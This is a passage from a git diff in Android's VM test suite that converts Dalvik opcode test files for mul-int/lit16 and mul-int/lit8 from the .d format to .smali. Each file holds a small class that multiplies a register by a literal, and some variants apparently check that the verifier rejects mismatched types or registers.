-.source T_mul_int_lit16_3.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 9
-
-       mul-int/lit16 v0, v8, 130
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_3.smali
new file mode 100644
index 0000000..303dac3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 9
+
+       mul-int/lit16 v0, v8, 130
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_4.d
deleted file mode 100644
index 532ce52..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit16_4.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit16 v0, v8, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_4.smali
new file mode 100644
index 0000000..7d158ba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v8, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_5.d
deleted file mode 100644
index 0d4d3ea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit16_5.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit16 v0, v8, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_5.smali
new file mode 100644
index 0000000..2995ee8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v8, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_6.d
deleted file mode 100644
index a719ab3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit16_6.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit16 v0, v8, 32767
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_6.smali
new file mode 100644
index 0000000..db96579
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v8, 32767
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_7.d
deleted file mode 100644
index 511de2d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit16_7.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit16 v0, v9, 3276
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_7.smali
new file mode 100644
index 0000000..8645074
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_7.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v9, 3276
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_8.d
deleted file mode 100644
index 288f649..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit16_8.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 9
-
-       mul-int/lit16 v0, v7, 4321
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_8.smali
new file mode 100644
index 0000000..8e840f6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 9
+
+       mul-int/lit16 v0, v7, 4321
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_9.d
deleted file mode 100644
index e8d0737..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_9.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit16_9.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 9
-
-       mul-int/lit16 v0, v7, 4321
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_9.smali
new file mode 100644
index 0000000..38581e0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_9.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_9.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 9
+
+       mul-int/lit16 v0, v7, 4321
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_1.d
deleted file mode 100644
index 8aebfd4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_1.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit8 v0, v8, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_1.smali
new file mode 100644
index 0000000..c871632
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v8, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_10.d
deleted file mode 100644
index 716726e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_10.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_10.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit8 v0, v7, 111
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_10.smali
new file mode 100644
index 0000000..f1f6311
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_10.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v7, 111
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_2.d
deleted file mode 100644
index c4d9174..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_2.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit8 v0, v8, -15
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_2.smali
new file mode 100644
index 0000000..c1148da
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v8, -15
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_3.d
deleted file mode 100644
index fc70d45..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_3.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 9
-
-       mul-int/lit8 v0, v8, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_3.smali
new file mode 100644
index 0000000..b589803
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 9
+
+       mul-int/lit8 v0, v8, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_4.d
deleted file mode 100644
index a9cf5e7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_4.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit8 v0, v8, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_4.smali
new file mode 100644
index 0000000..494d210
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v8, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_5.d
deleted file mode 100644
index 1e08af2..0000000
